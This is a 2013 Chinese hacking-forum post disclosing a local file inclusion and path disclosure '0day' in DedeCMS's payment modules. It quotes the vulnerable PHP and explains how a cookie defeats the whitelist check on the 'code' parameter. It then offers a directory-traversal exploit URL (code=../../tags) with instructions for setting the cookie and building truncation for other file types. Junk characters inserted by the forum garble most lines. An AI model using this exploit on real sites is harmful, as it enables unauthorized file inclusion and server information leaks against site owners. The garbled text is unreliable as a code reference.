找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)8 G/ I& k0 ~! }. g4 O
3 N) x# ?1 ^2 e" @1 n1 j
出现漏洞的两个文件为:
0 `" ?) G, b9 `# H; _) K( zInclude/payment/alipay.php/ ]# J- P  e# z0 J! a
Include/payment/yeepay.php9 k: z- Q$ v: j3 i" q. @
漏洞均出现在respond方法里,估计这两个文件是临时工写的。* [$ {* e" p/ f  ?2 _

% e! B2 S$ a% s- x; k: ~' c' _Include/payment/alipay.php
, `( ^1 {) n' ~1 q" v7 p5 |& P5 w
+ O% E/ n. x" x& s1 `2 }/ F......4 y2 s8 e4 [9 k' d& g1 M
   function respond()
- @4 c% ]$ w/ r. l    {9 G  U) r2 s, y4 s4 c$ }) Z
        if (!empty($_POST))
  u0 B  E; }3 t$ ?  o        {
2 u0 U) S/ G& g0 j' i            foreach($_POST as $key => $data)
% V+ s1 `9 ]6 O3 }* P9 {            {( R" \! i6 b5 P- C. [
                $_GET[$key] = $data;
$ W; Q, U, U6 e6 {            }8 K* @% ?" i' Y2 V1 K- \; M9 @
        }) i; l4 w' e; M7 j. P/ Z* I
        /* 引入配置文件 */
2 J% m& N: S9 o        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';( G% s( f5 u: \9 z9 s2 p1 |
......
3 `) N, @1 ~+ x9 Z5 O3 E * `5 ]2 E1 }8 a% Q1 X% u
& _: X  N! M3 @' J9 k
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。, E1 j& C/ G* x* k' W3 l
( w% [; T3 E' g
Include/payment/yeepay.php4 J& q* M* J0 w8 x- s$ a3 x

/ j8 Z: }! V8 T- ] + U2 b( c) j0 R  S/ e0 o

" j/ n. U1 Y( b9 X  S......
, q+ _7 N0 a( I  I" _- L    function respond()
* f% w5 Y+ W. t% ^- e    {: Y8 l4 b$ y* S

+ @* F( I/ p( c/ @  V3 {* ?0 @        /* 引入配置文件 */% N0 a8 T, A7 s9 C: o( }- ]$ a
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';2 o9 f. n  {: f
0 n- V0 J! ]; P- K$ L. g' B( l
        $p1_MerId = trim($payment['yp_account']);
( W8 m9 j9 l" c        $merchantKey = trim($payment['yp_key']);
. K1 J& S6 ~* `* U! Z...... 6 \5 h2 C9 L1 C. M

4 P8 }( r+ x& J2 C6 X
" `, N! I$ @4 W7 j# @
( E# l/ ], ^$ W' `- d
; z: s. r8 a8 e) P% P7 w大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。( Z* }6 c* q2 H3 B- z- X! I
6 W5 ?  q4 n7 B- }( c) P, z
这两个方法在plus/carbuyaction.php文件调用。
$ G0 x9 g0 Y; d0 G2 b- M* h; {- i3 |6 C! y
plus/carbuyaction.php# P  {6 |: D* `* K
% H0 }1 I; t. V4 R) P6 o
......% T% X& F$ Z. T6 Z
} else if ($dopost == 'return') {$ Z  E* C4 b' ]& Z. [5 @  ]% R: c
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
; P; T! W3 v- h; U% M    if (in_array($code, $write_list))
) L* N4 D5 l' Y; O' m    {
/ ]" o. a# n6 p9 j2 C  j        require_once DEDEINC.'/payment/'.$code.'.php';* y- k  N' e1 `/ ^
        $pay = new $code;1 [* q( C6 p" I2 w0 \. C1 S
        $msg=$pay->respond();
+ ^! O3 {( N6 f: l; x3 k0 k! @' H        ShowMsg($msg, "javascript:;", 0, 3000);
4 W  Y6 c4 u" S, _0 a7 S# {2 [        exit();  
& i7 H( S) U9 Y0 d    } else {
5 D) e0 I0 `- p$ [4 V9 X        exit('Error:File Type Can\'t Recognized!');
7 C- \0 e2 p; `+ P3 ?: R" M4 O7 ]    }' _) \( k7 @- E/ @
}
) ^: F# n: [3 q3 T+ c0 _...... 5 I4 f3 {+ w) L" @
- q, y9 V& `# i1 f' P

0 T6 d; m8 S. ]. ^
  a% N+ g9 `( p2 L, E
' M* H' V4 W+ d! C/ a) _
, L  z4 Q+ O! w% z$ \" ?8 f1 I1 {) `9 i5 \6 [- |& J
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。7 K  r' L9 U6 B* u  F
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。7 m( m+ d9 o- o0 c

1 ]5 C$ ]% r, c+ O3 @- o回到include/common.inc.php来看看他的机制。
$ Z2 b8 H0 K  m$ @. i' \# B  m" k
% p5 }8 [; a& a$ @+ h! z
, \4 I* _2 M" E( k% ~! a6 I) C( d* P6 b1 b$ }
......
9 q# G, C# n, w" ?foreach(Array('_GET','_POST','_COOKIE') as $_request)
$ P9 h! ~3 E; S  l- B, j* @3 p{9 s$ b$ ^9 C6 q! f
        foreach($$_request as $_k => $_v)   s! k, o5 \! j# D3 h8 P7 D8 E
        {
" o' B9 F$ a/ B9 B9 _6 Q$ F* E                if($_k == 'nvarname') ${$_k} = $_v;
( [3 C% R, H8 w5 Y                else ${$_k} = _RunMagicQuotes($_v);
' t; r, ]: s$ i- ^$ f& w3 @. P        }+ B7 b1 }* s- F0 _
}- v3 B* a' m' F' J7 z6 B4 ~
......
' t' B1 p1 t$ s6 }, g- Y大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:* u0 {$ C& i4 n$ T
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表